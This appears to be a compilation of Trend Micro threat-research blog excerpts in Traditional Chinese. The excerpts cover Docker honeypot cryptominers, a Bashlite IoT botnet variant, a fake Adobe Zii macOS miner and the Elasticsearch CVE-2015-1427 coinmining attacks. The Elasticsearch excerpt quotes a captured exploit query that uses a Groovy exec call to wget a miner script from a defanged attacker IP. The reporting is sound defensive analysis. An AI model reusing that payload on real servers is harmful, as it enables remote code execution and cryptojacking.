趨勢科技架設了一台機器模擬Docker主機來監控針對容器的惡意活動，這個蜜罐系統的主機有著對外暴露的API，這是容器相關威脅最常攻擊的目標之一。我們的目標是透過監控蜜罐系統來偵測是否有人找到它並用來部署有問題的容器，最終希望可以找出攻擊的源頭。我們最近檢查了蜜罐狀態，發現已經有容器被部署進去。
分析蜜罐系統的日誌和流量資料後發現此容器來自名為zoolu2的公開（因此可以連上）Docker Hub儲存庫。檢查並下載儲存庫的內容後，我們發現它包含了9個映像，裡面含有客製化shell、Python腳本、設定檔，還有Shodan和虛擬貨幣挖礦程式。請注意，Docker自己也發現了此儲存庫，並在本文撰寫時已經讓其離線。
zoolu2儲存庫內的所有映像都包含了門羅幣（XMR）挖礦程式。這引起了我們的興趣，因為我們之前看過了將容器部署成礦工。此外，有些映像包含了列出有對外暴露API Docker主機的Shodan腳本，我們推測這些腳本是用來找出進一步散播的目標。
圖1. zoolu2 Docker Hub儲存庫
繼續閱讀
最近，趨勢科技發現 Bashlite 惡意程式出現新的版本，會將其感染的物聯網（IoT ,Internet of Thing）裝置收編到某個殭屍網路來發動分散式阻斷服務 (DDoS) 攻擊。趨勢科技將這些惡意程式命名為 Backdoor.Linux.BASHLITE.SMJC4、Backdoor.Linux.BASHLITE.AMF、Troj.ELF.TRX.XXELFC1DFF002 以及 Trojan.SH.BASHDLOD.AMF。根據其採用的 Metasploit 模組來看，此惡意程式專門鎖定採用 WeMo Universal Plug and Play (UPnP) 通用隨插即用應用程式開發介面 (API) 的裝置來攻擊。
Bashlite 惡意程式亦稱為 Gafgyt、Lizkebab、Qbot、Torlus 或 LizardStresser，其最為人知的不良事蹟是 2014 年曾發動大規模分散式阻斷服務攻擊 (DDoS)，如今它甚至開始跨界感染 IoT 裝置。先前的 Bashlite 版本會利用 Shellshock 漏洞來入侵裝置，然後再透過遠端指令遙控被入侵的裝置發動 DDoS 攻擊 (如 2016 年所發生的事件)，或者再下載其它惡意檔案到被入侵的裝置。
這次發現的新版 Bashlite 相當值得關注。首先，其感染方式已不再仰賴特定 CVE 漏洞，而是使用可公開取得的 Metasploit 漏洞攻擊模組。此外，新版也支援更多 DDoS 遠端遙控指令，以及一些虛擬貨幣和後門功能。同時，還會在裝置上植入惡意程式來將競爭對手的殭屍病毒移除。
繼續閱讀趨勢科技最新的分析顯示了即便是非法破解程式也會被網路犯罪分子用來誘騙使用者安裝惡意應用程式。在這次的案例中，趨勢科技看到一個惡意應用程式偽裝成Adobe Zii（用來破解Adobe產品的工具），針對macOS系統來挖掘虛擬貨幣並竊取信用卡資料。
技術分析
惡意應用程式是在VirusTotal上看到，最初由Malwarebytes回報，以「Adobe Zii.app」的形式進入目標系統。
圖1.、Adobe Zii.app的內容
執行時，它利用automator.app啟動Adobe Zii.app\Contents\document.wflow內的Bash腳本。
圖2、惡意軟體啟動Bash腳本
繼續閱讀趨勢科技在執行日常記錄檔檢查時發現我們的誘捕網路偵測到一個會從某網域下載二進位檔案的腳本。經過進一步調查分析之後，我們發現該腳本會刪除一些已知的 Linux 惡意程式、挖礦程式以及一些連上某些挖礦服務的連線。除此之外，該腳本也讓人聯想到 Xbash 的功能和 KORKERDS 惡意程式。它會安裝一個挖礦惡意程式，也會將自己植入系統並在 crontab 當中設定排程以便在重新開機後繼續執行，並且防止遭到刪除。
圖 1：我們的誘捕網路偵測到一個會從某網域下載檔案的腳本。
行為分析
在發現這個會下載二進位檔案的腳本之後，我們也進一步查看了我們 2018 年 11 月所蒐集到的某個 KORKERDS 樣本的程式碼， 並發現兩者幾乎相同，除了少數明顯新增及刪除的部分之外。與 KORKERDS 相比，這個新發現的腳本並不會移除系統上已安裝的資安產品，也不會在系統上安裝 Rootkit。反而會將 KORKERDS 惡意挖礦程式和其 Rootkit 清除。基本上，這個新的腳本會刪除 KORKERDS 的惡意程式元件和挖礦執行程序。
圖 2：新的腳本抄襲自 KORKERDS 但卻會殺掉 KORKERDS 的「kworkerds」執行程序。
圖 3：新的腳本也會移除 KORKERDS 的 Rootkit 元件。
繼續閱讀趨勢科技曾在蜜罐系統上發現了關於搜尋引擎 Elasticsearch （用Lucene程式庫開發的開放原始碼Java搜尋引擎）的惡意挖礦( coinmining )活動。這波攻擊利用了漏洞CVE-2015-1427（位在Groovy 腳本引擎，讓遠端攻擊者可以用特製腳本來執行任意 shell 命令）以及CVE-2014-320（Elasticsearch預設設定內的漏洞）。Elasticsearch已經不再支援有漏洞的版本。
我們在運行Elasticsearch的伺服器上發現帶有以下命令的查詢（ISC也在一篇文章中提到）：
“{“lupin”:{“script”: “java.lang.Math.class.forName(\”java.lang.Runtime\”).getRuntime().exec(\”wget hxxp://69[.]30[.]203[.]170/gLmwDU86r9pM3rXf/update.sh -P
/tmp/sssooo\”).getText()”}}}”
這命令是由同個系統/攻擊主機執行，後續病毒也是放在此主機上。在本文編寫時，使用此IP的是網域matrixhazel[.]com（無法連上）。此系統安裝的是CentOS 6，同時運行了網頁伺服器和SSH伺服器。
圖1、GreyNotes將此這主機標記為已知掃描器
要注意的是，這種攻擊並不新鮮，只是最近又重新出現。趨勢科技的Smart Protection Network 11月在多個地區偵測到虛擬貨幣挖礦病毒，包括了台灣、中國和美國。
挖礦病毒散播bash腳本update.sh的方式是先調用shell來下載並輸出成檔案“/tmp/sssooo“（因為大多數系統對/tmp的限制較少）。
這種攻擊簡單卻會對受害者產生重大的影響。一旦攻擊者可以在系統上執行任意命令，就可以提升權限，甚至將目標轉向其他系統來進一步地入侵網路。
還應該注意的是，雖然大多數案例的攻擊手法相同，但所使用的惡意檔案可能不同。在我們所分析的案例中，使用的是update.sh。一但執行腳本update.sh就會下載檔案devtools和config.json。接著就會部署虛擬貨幣挖礦病毒（趨勢科技偵測為 Coinminer.Linux.MALXMR.UWEIS)。 繼續閱讀